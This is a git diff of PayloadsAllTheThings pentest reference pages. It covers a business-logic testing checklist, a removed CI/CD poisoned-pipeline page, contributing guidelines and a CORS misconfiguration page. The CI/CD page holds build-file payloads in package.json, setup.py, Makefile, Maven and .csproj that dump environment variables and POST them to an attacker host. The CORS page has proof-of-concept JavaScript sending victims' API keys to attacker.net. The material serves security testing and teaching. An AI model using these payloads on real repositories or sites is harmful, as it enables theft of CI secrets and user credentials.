* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://web.archive.org/web/20260102160139/https://dustri.org/b/detecting-and-annoying-burp-users.html)
* [OmniProx: Multi-Cloud IP Rotation Made Simple - Andy Gill - September 28, 2025](https://web.archive.org/web/20260215082718/https://blog.zsec.uk/omniprox/)

View File

@@ -2,70 +2,94 @@
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process. > Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
## Summary ## Summary
* [Examples](#examples) * [Methodology](#methodology)
* [Review Feature Testing](#review-feature-testing)
* [Discount Code Feature Testing](#discount-code-feature-testing)
* [Delivery Fee Manipulation](#delivery-fee-manipulation)
* [Currency Arbitrage](#currency-arbitrage)
* [Premium Feature Exploitation](#premium-feature-exploitation)
* [Refund Feature Exploitation](#refund-feature-exploitation)
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
* [Thread Comment Testing](#thread-comment-testing)
* [Rounding Error](#rounding-error)
* [References](#references) * [References](#references)
## Methodology
## Examples
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences. Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
Common examples of Business Logic Errors. Common examples of Business Logic Errors.
* Review Feature Testing ### Review Feature Testing
* Assess if you can post a product review as a verified reviewer without having purchased the item.
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
* Investigate the possibility of posting reviews impersonating other users.
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
* Discount Code Feature Testing * Assess if you can post a product review as a verified reviewer without having purchased the item.
* Try to apply the same discount code multiple times to assess if it's reusable. * Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously. * Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one. * Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature. * Investigate the possibility of posting reviews impersonating other users.
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request. * Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
* Delivery Fee Manipulation ### Discount Code Feature Testing
* Experiment with negative values for delivery charges to see if it reduces the final amount.
* Evaluate if free delivery can be activated by modifying parameters.
* Currency Arbitrage * Try to apply the same discount code multiple times to assess if it's reusable.
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit. * If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
* Premium Feature Exploitation * Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription. * Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
* Review cookies or local storage for variables validating premium access.
* Refund Feature Exploitation ### Delivery Fee Manipulation
* Purchase a product, ask for a refund, and see if the product remains accessible.
* Look for opportunities for currency arbitrage.
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
* Cart/Wishlist Exploitation * Experiment with negative values for delivery charges to see if it reduces the final amount.
* Test the system by adding products in negative quantities, along with other products, to balance the total. * Evaluate if free delivery can be activated by modifying parameters.
* Try to add more of a product than is available.
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
* Thread Comment Testing ### Currency Arbitrage
* Check if there's a limit to the number of comments on a thread.
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
* Attempt to post comments impersonating other users.
* Parameter Tampering * Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
* Manipulate payment or other critical fields to alter their values.
* By exploiting HTTP Parameter Pollution & Mass Assignment, add extra or unexpected fields. ### Premium Feature Exploitation
* Try to manipulate the response to bypass restrictions, such as 2FA.
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
* Review cookies or local storage for variables validating premium access.
### Refund Feature Exploitation
* Purchase a product, ask for a refund, and see if the product remains accessible.
* Look for opportunities for currency arbitrage.
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
### Cart/Wishlist Exploitation
* Test the system by adding products in negative quantities, along with other products, to balance the total.
* Try to add more of a product than is available.
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
### Thread Comment Testing
* Check if there's a limit to the number of comments on a thread.
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
* Attempt to post comments impersonating other users.
### Rounding Error
The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
## References ## References
* [Business logic vulnerability - OWASP](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability) * [Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws)
* [Business logic vulnerabilities - PortSwigger](https://portswigger.net/web-security/logic-flaws) * [Business Logic Vulnerability - OWASP - 2024](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
* [Examples of business logic vulnerabilities - PortSwigger](https://portswigger.net/web-security/logic-flaws/examples) * [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://web.archive.org/web/20260304013031/https://cwe.mitre.org/data/definitions/840.html)
* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples)

View File

@@ -1,328 +0,0 @@
# CI/CD attacks
> CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories.\
> These systems often contain sensitive secrets or run in privileged environments.\
> Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines.\
> Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE)
## Summary
- [CI/CD attacks](#cicd-attacks)
- [Summary](#summary)
- [Tools](#tools)
- [Package managers & Build Files](#package-managers--build-files)
- [Javascript / Typescript - package.json](#javascript--typescript---packagejson)
- [Python - setup.py](#python---setuppy)
- [Bash / sh - *.sh](#bash--sh---sh)
- [Maven / Gradle](#maven--gradle)
- [BUILD.bazel](#buildbazel)
- [Makefile](#makefile)
- [Rakefile](#rakefile)
- [C# - *.csproj](#c---csproj)
- [CI/CD products](#cicd-products)
- [GitHub Actions](#github-actions)
- [Azure Pipelines (Azure DevOps)](#azure-pipelines-azure-devops)
- [CircleCI](#circleci)
- [Drone CI](#drone-ci)
- [BuildKite](#buildkite)
- [References](#references)
## Tools
* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Self-Hosted Runner Enumeration and Attack Tool
## Package managers & Build Files
> Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process.\
> In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them.\n
> If the CI builds forked pull requests then your payload may run in the CI.
### Javascript / Typescript - package.json
> The `package.json` file is used by many Javascript / Typescript package managers (`yarn`,`npm`,`pnpm`,`npx`....).
> The file may contain a `scripts` object with custom commands to run.\
`preinstall`, `install`, `build` & `test` are often executed by default in most CI/CD pipelines - hence they are good targets for injection.\
> If you come across a `package.json` file - edit the `scripts` object and inject your instruction there
NOTE: the payloads in the instructions above must be `json escaped`.
Example:
```json
{
"name": "my_package",
"description": "",
"version": "1.0.0",
"scripts": {
"preinstall": "set | curl -X POST --data-binary @- {YourHostName}",
"install": "set | curl -X POST --data-binary @- {YourHostName}",
"build": "set | curl -X POST --data-binary @- {YourHostName}",
"test": "set | curl -X POST --data-binary @- {YourHostName}"
},
"repository": {
"type": "git",
"url": "https://github.com/foobar/my_package.git"
},
"keywords": [],
"author": "C.Norris"
}
```
### Python - setup.py
> `setup.py` is used by python's package managers during the build process.
It is often executed by default.\
> Replacing the setup.py files with the following payload may trigger their execution by the CI.
```python
import os
os.system('set | curl -X POST --data-binary @- {YourHostName}')
```
### Bash / sh - *.sh
> Shell scripts in the repository are often executed in custom CI/CD pipelines.\
> Replacing all the `.sh` files in the repo and submitting a pull request may trigger their execution by the CI.
```shell
set | curl -X POST --data-binary @- {YourHostName}
```
### Maven / Gradle
> These package managers come with "wrappers" that help with running custom commands for building / testing the project.\
These wrappers are essentially executable shell/cmd scripts.
Replace them with your payloads to have them executed:
- `gradlew`
- `mvnw`
- `gradlew.bat` (windows)
- `mvnw.cmd` (windows)
> Occasionally the wrappers will not be present in the repository.\
> In such cases you can edit the `pom.xml` file, which instructs maven what dependencies to fetch and which `plugins` to run.\
> Some plugins allow code execution, here's an example of the common plugin `org.codehaus.mojo`.\
> If the `pom.xml` file you're targeting already contains a `<plugins>` instruction then simply add another `<plugin>` node under it.\
> If if **doesn't** contain a `<plugins>` node then add it under the `<build>` node.
NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped.
```xml
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.6.0</version>
<executions>
<execution>
<id>run-script</id>
<phase>validate</phase>
<goals>
<goal>exec</goal>
</goals>
</execution>
</executions>
<configuration>
<executable>bash</executable>
<arguments>
<argument>
-c
</argument>
<argument>{XML-Escaped-Payload}</ argument>
</arguments>
</configuration>
</plugin>
</plugins>
</build>
```
### BUILD.bazel
> Replace the content of `BUILD.bazel` with the following payload
NOTE: `BUILD.bazel` requires escaping backslashes.\
Replace any `\` with `\\` inside your payload.
```shell
genrule(
name = "build",
outs = ["foo"],
cmd = "{Escaped-Shell-Payload}",
visibility = ["//visibility:public"],
)
```
### Makefile
> Make files are often executed by build pipelines for projects written in `C`, `C++` or `Go` (but not exclusively).\
> There are several utilities that execute `Makefile`, the most common are `GNU Make` & `Make`.\
> Replace your target `Makefile` with the following payload
```shell
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
set | curl -X POST --data-binary @- {YourHostName}
build:
set | curl -X POST --data-binary @- {YourHostName}
compile:
set | curl -X POST --data-binary @- {YourHostName}
default:
set | curl -X POST --data-binary @- {YourHostName}
```
### Rakefile
> Rake files are similar to `Makefile` but for Ruby projects.\
> Replace your target `Rakefile` with the following payload
```shell
task :pre_task do
sh "{Payload}"
end
task :build do
sh "{Payload}"
end
task :test do
sh "{Payload}"
end
task :install do
sh "{Payload}"
end
task :default => [:build]
```
### C# - *.csproj
> `.csproj` files are build file for the `C#` runtime.\
> They are constructed as XML files that contain the different dependencies that are required to build the project.\
> Replacing all the `.csproj` files in the repo with the following payload may trigger their execution by the CI.
NOTE: Since this is an XML file - XML special characters must be escaped.
```powershell
<Project>
<Target Name="SendEnvVariables" BeforeTargets="Build;BeforeBuild;BeforeCompile">
<Exec Command="powershell -Command &quot;$envBody = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-ChildItem env: | Format-List | Out-String))); Invoke-WebRequest -Uri {YourHostName} -Method POST -Body $envBody&quot;" />
</Target>
</Project>
```
## CI/CD products
### GitHub Actions
The configuration files for GH actions are located in the directory `.github/workflows/`\
You can tell if the action builds pull requests based on its trigger (`on`) instructions:
```yaml
on:
push:
branches:
- master
pull_request:
```
In order to run an OS command in an action that builds pull requests - simply add a `run` instruction to it.\
An action may also be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
```yaml
jobs:
print_issue_title:
runs-on: ubuntu-latest
name: Print issue title
steps:
- run: echo "${{github.event.issue.title}}"
```
### Azure Pipelines (Azure DevOps)
The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction:
```yaml
trigger:
branches:
include:
- master
- refs/tags/*
pr:
- master
```
### CircleCI
The configuration files for CircleCI builds are located in `.circleci/config.yml`\
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step.
```yaml
jobs:
build:
docker:
- image: cimg/base:2022.05
steps:
- run: echo "Say hello to YAML!"
```
### Drone CI
The configuration files for Drone builds are located in `.drone.yml`\
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step.
```yaml
steps:
- name: do-something
image: some-image:3.9
commands:
- {Payload}
```
### BuildKite
The configuration files for BuildKite builds are located in `.buildkite/*.yml`\
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step.
```yaml
steps:
- label: "Example Test"
command: echo "Hello!"
```
## References
* [Poisoned Pipeline Execution](https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/)
* [DEF CON 25 - spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems](https://youtu.be/mpUDqo7tIk8)
* [Azure-Devops-Command-Injection](https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection)

View File

@@ -1,63 +1,47 @@
# CONTRIBUTING # CONTRIBUTING
PayloadsAllTheThings' Team :heart: pull requests :) PayloadsAllTheThings' Team :heart: pull requests.
Feel free to improve with your payloads and techniques ! Feel free to improve with your payloads and techniques !
You can also contribute with a :beers: IRL, or using the sponsor button. You can also contribute with a :beers: IRL, or using the [sponsor](https://github.com/sponsors/swisskyrepo) button.
## Pull Requests Guidelines ## Pull Requests Guidelines
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request. In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
- Payloads must be sanitized - Payloads must be sanitized
- Use `id`, and `whoami`, for RCE Proof of Concepts - Use `id`, and `whoami`, for RCE Proof of Concepts
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc. - Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses - Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
- Use `Administrator` for privileged users and `User` for normal account - Use `Administrator` for privileged users and `User` for normal account
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples - Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc - Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :) - References must have an `author`, a `title`, a `link` and a `date`
- Use [Wayback Machine](https://web.archive.org/) if the reference is not available anymore.
- The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
- References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
Every pull request will be checked with `markdownlint` to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:
```ps1
docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 "**/*.md" --config .github/.markdownlint.json --fix
```
## Techniques Folder ## Techniques Folder
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder: Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
- README.md - vulnerability description and how to exploit it, including several payloads, more below - **README.md**: vulnerability description and how to exploit it, including several payloads, more below
- Intruder - a set of files to give to Burp Intruder - **Intruder**: a set of files to give to Burp Intruder
- Images - pictures for the README.md - **Images**: pictures for the README.md
- Files - some files referenced in the README.md - **Files**: some files referenced in the README.md
## README.md format ## README.md Format
Use the following example to create a new technique `README.md` file. Use the example folder [_template_vuln/](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/) to create a new vulnerability document. The main page is [README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/README.md). It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.
```markdown - **Tools**: Lists relevant tools with links to their repositories and brief descriptions.
# Vulnerability Title - **Methodology**: Provides a quick overview of the approach used, with code snippets to demonstrate exploitation steps.
- **Labs**: References online platforms where similar vulnerabilities can be practiced, each with a link to the corresponding lab.
> Vulnerability description - **References**: Lists external resources, such as blog posts or articles, providing additional context or case studies related to the vulnerability.
## Summary
* [Tools](#tools)
* [Something](#something)
* [Subentry 1](#sub1)
* [Subentry 2](#sub2)
* [References](#references)
## Tools
- [Tool 1](https://example.com)
- [Tool 2](https://example.com)
## Something
Quick explanation
### Subentry 1
Something about the subentry 1
## References
- [Blog title - Author, Date](https://example.com)
```

View File

@@ -1,33 +1,39 @@
# CORS Misconfiguration # CORS Misconfiguration
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attackers site using the victims credentials. > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker's site using the victim's credentials.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Prerequisites](#prerequisites) * [Requirements](#requirements)
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Origin Reflection](#origin-reflection)
* [Null Origin](#null-origin)
* [XSS on Trusted Origin](#xss-on-trusted-origin)
* [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
* [Expanding the Origin](#expanding-the-origin)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
* [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/) * [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
* [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner) * [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html) * [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
* [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors) * [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
## Requirements
## Prerequisites
* BURP HEADER> `Origin: https://evil.com` * BURP HEADER> `Origin: https://evil.com`
* VICTIM HEADER> `Access-Control-Allow-Credential: true` * VICTIM HEADER> `Access-Control-Allow-Credential: true`
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null` * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
## Exploitation ## Methodology
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`. Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
### Vulnerable Example: Origin Reflection ### Origin Reflection
#### Vulnerable Implementation #### Vulnerable Implementation
@@ -44,7 +50,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
This PoC requires that the respective JS script is hosted at `evil.com` This PoC requires that the respective JS script is hosted at `evil.com`
@@ -56,11 +62,11 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
or or
```html ```html
<html> <html>
@@ -87,7 +93,7 @@ or
</html> </html>
``` ```
### Vulnerable Example: Null Origin ### Null Origin
#### Vulnerable Implementation #### Vulnerable Implementation
@@ -95,7 +101,7 @@ It's possible that the server does not reflect the complete `Origin` header but
that the `null` origin is allowed. This would look like this in the server's that the `null` origin is allowed. This would look like this in the server's
response: response:
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: victim.example.com Host: victim.example.com
Origin: null Origin: null
@@ -108,7 +114,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
This can be exploited by putting the attack code into an iframe using the data This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the `null` URI scheme. If the data URI scheme is used, the browser will use the `null`
@@ -128,23 +134,23 @@ origin in the request:
</script>"></iframe> </script>"></iframe>
``` ```
### Vulnerable Example: XSS on Trusted Origin ### XSS on Trusted Origin
If the application does implement a strict whitelist of allowed origins, the If the application does implement a strict whitelist of allowed origins, the
exploit codes from above do not work. But if you have an XSS on a trusted exploit codes from above do not work. But if you have an XSS on a trusted
origin, you can inject the exploit coded from above in order to exploit CORS origin, you can inject the exploit coded from above in order to exploit CORS
again. again.
``` ```ps1
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
``` ```
### Vulnerable Example: Wildcard Origin `*` without Credentials ### Wildcard Origin without Credentials
If the server responds with a wildcard origin `*`, **the browser does never send If the server responds with a wildcard origin `*`, **the browser does never send
the cookies**. However, if the server does not require authentication, it's still the cookies**. However, if the server does not require authentication, it's still
possible to access the data on the server. This can happen on internal servers possible to access the data on the server. This can happen on internal servers
that are not accessible from the Internet. The attacker's website can then that are not accessible from the Internet. The attacker's website can then
pivot into the internal network and access the server's data without authentication. pivot into the internal network and access the server's data without authentication.
```powershell ```powershell
@@ -165,7 +171,7 @@ Access-Control-Allow-Origin: *
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
```js ```js
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@@ -174,18 +180,19 @@ req.open('get','https://api.internal.example.com/endpoint',true);
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
### Vulnerable Example: Expanding the Origin / Regex Issues ### Expanding the Origin
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header. Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
#### Vulnerable Implementation (Example 1) #### Vulnerable Implementation (Example 1)
In this scenario any prefix inserted in front of `example.com` will be accepted by the server. In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: api.example.com Host: api.example.com
Origin: https://evilexample.com Origin: https://evilexample.com
@@ -195,10 +202,9 @@ Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept (Example 1) #### Proof of Concept (Example 1)
This PoC requires the respective JS script to be hosted at `evilexample.com` This PoC requires the respective JS script to be hosted at `evilexample.com`
@@ -210,7 +216,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@@ -218,7 +224,7 @@ function reqListener() {
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain. In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: api.example.com Host: api.example.com
Origin: https://apiiexample.com Origin: https://apiiexample.com
@@ -228,7 +234,6 @@ Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept (Example 2) #### Proof of concept (Example 2)
@@ -243,30 +248,27 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
## Labs ## Labs
* [CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack) * [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
* [CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) * [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
* [CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack) * [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
* [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) * [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
## Bug Bounty reports
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
## References ## References
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) * [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://web.archive.org/web/20250426222841/https://hackerone.com/reports/426147)
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) * [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://web.archive.org/web/20190820201328/https://hackerone.com/reports/430249)
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors) * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://web.archive.org/web/20171230084544/https://hackerone.com/reports/168574)
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/) * [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://web.archive.org/web/20230323053559/https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://web.archive.org/web/20260302141111/https://portswigger.net/web-security/cors)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://web.archive.org/web/20250512191501/https://hackerone.com/reports/235200)
